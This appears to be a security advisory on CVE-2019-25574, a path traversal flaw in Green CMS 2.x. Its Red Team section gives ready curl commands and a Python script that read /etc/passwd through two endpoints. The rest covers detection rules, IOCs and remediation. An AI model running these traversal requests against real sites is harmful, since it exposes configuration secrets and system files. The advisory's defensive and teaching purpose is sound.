CVE-2019-25574

Executive Summary

CVE-2019-25574 is a path traversal vulnerability in Green CMS 2.x that allows authenticated attackers to download arbitrary files and directories outside the intended web root. The vulnerability exists in two primary attack vectors: the theme_name parameter in the themeexporthandle action, and the downfile action which accepts base64-encoded file paths. This flaw can lead to unauthorized disclosure of sensitive system files, configuration data, and potentially credentials. No official patch has been released, and the vendor status remains unknown, making this a high-risk issue for any organization running Green CMS 2.x.

Supply Chain & Package Security

Green CMS is a custom PHP-based content management system. No official package manager (NPM, PyPI, Go, Ruby) distribution is known. The risk is limited to direct installations of the CMS source code.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: High (based on exploitation potential and lack of patch)

Rationale: Although the NVD score is 0.0, the vulnerability allows authenticated attackers to read arbitrary files, including configuration files containing database credentials, application secrets, and system files. The attack complexity is low, and the impact on confidentiality is high.

Deep Dive & Mechanics

The vulnerability resides in two actions within Green CMS 2.x:

1. themeexporthandle action: The theme_name parameter is not sanitized for directory traversal sequences (e.g., ../). An attacker can supply a value like ../../../etc/passwd to read arbitrary files.

2. downfile action: This action accepts a base64-encoded file path. The decoded path is not validated, allowing traversal outside the intended directory.

Root Cause: Insufficient input validation and lack of path canonicalization. The application fails to check if the resolved path is within the allowed directory.

Attack Flow:

• Authenticate to the CMS (requires valid credentials).
• Send a crafted request to the vulnerable endpoint with traversal sequences.
• The server reads and returns the file content.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// themeexporthandle action
$theme_name = $_GET['theme_name'];
$file_path = 'themes/' . $theme_name . '/export.zip';
// No sanitization - allows ../ traversal

Patched Code (Hypothetical):

$theme_name = basename($_GET['theme_name']); // Remove path components
$theme_name = preg_replace('/[^a-zA-Z0-9_-]/', '', $theme_name); // Whitelist characters
$file_path = realpath('themes/' . $theme_name . '/export.zip');
if (strpos($file_path, realpath('themes/')) !== 0) {
    die('Invalid path');
}

Exploitation & Lab Setup

Red Team

Prerequisites: Valid credentials for Green CMS.

Exploit using curl (themeexporthandle):

curl -u username:password "http://target/cms/index.php?action=themeexporthandle&theme_name=../../../etc/passwd"

Exploit using curl (downfile with base64):

# Encode path: ../../../../etc/passwd
echo -n '../../../../etc/passwd' | base64
# Output: Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
curl -u username:password "http://target/cms/index.php?action=downfile&file=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA=="

Automated script (Python):

import requests
import base64

target = "http://target/cms/index.php"
auth = ("username", "password")

# Vector 1: themeexporthandle
params = {"action": "themeexporthandle", "theme_name": "../../../etc/passwd"}
r = requests.get(target, params=params, auth=auth)
print(r.text)

# Vector 2: downfile
encoded = base64.b64encode(b"../../../../etc/passwd").decode()
params = {"action": "downfile", "file": encoded}
r = requests.get(target, params=params, auth=auth)
print(r.text)

Blue Team

Detection: Monitor for directory traversal patterns in HTTP requests to Green CMS endpoints.

Honeypot: Deploy a fake config.php file containing a unique string to detect file reads.

Lab Setup:

1. Install Green CMS 2.x on a local server (e.g., XAMPP).
2. Create a test user with credentials.
3. Execute the exploit and observe file retrieval.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or %2e%2e%2f in the theme_name parameter.
• Base64-encoded strings in the file parameter (e.g., Li4vLi4vLi4vZXRjL3Bhc3N3ZA==).
• Outbound connections from the CMS server to unknown IPs (if exfiltration occurs).

File IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
• Log entries showing file reads outside the web root.

Log IOCs:

• Web server logs with 404 or 200 responses to traversal patterns.
• PHP error logs indicating file_get_contents() failures on invalid paths.

Detection Engineering

YARA Rule

rule CVE_2019_25574_GreenCMS_PathTraversal {
    meta:
        description = "Detects path traversal attempts in Green CMS 2.x"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25574"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $base64_pattern = /[A-Za-z0-9+\/=]{20,}/  // Base64 encoded paths
    condition:
        any of ($traversal*) or $base64_pattern
}

Sigma Rule

title: Green CMS Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Green CMS 2.x
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of '..' in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25574 Green CMS Path Traversal"; flow:to_server,established; content:"theme_name"; http_uri; content:"../"; distance:0; within:100; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2019-25574 Green CMS Base64 File Read"; flow:to_server,established; content:"action=downfile"; http_uri; pcre:"/file=[A-Za-z0-9+\/=]{20,}/"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access to Green CMS admin panel to trusted IPs only.
2. Implement a Web Application Firewall (WAF) rule to block directory traversal patterns.
3. Disable the vulnerable actions if not required.

Long-term Fix:

• Since no official patch exists, consider migrating to a supported CMS.
• Apply input validation and path canonicalization as shown in the patched code example.
• Use realpath() and ensure the resolved path starts with the allowed base directory.

Monitoring:

• Enable detailed logging for all file access operations.
• Set up alerts for traversal patterns in web server logs.

Valters IT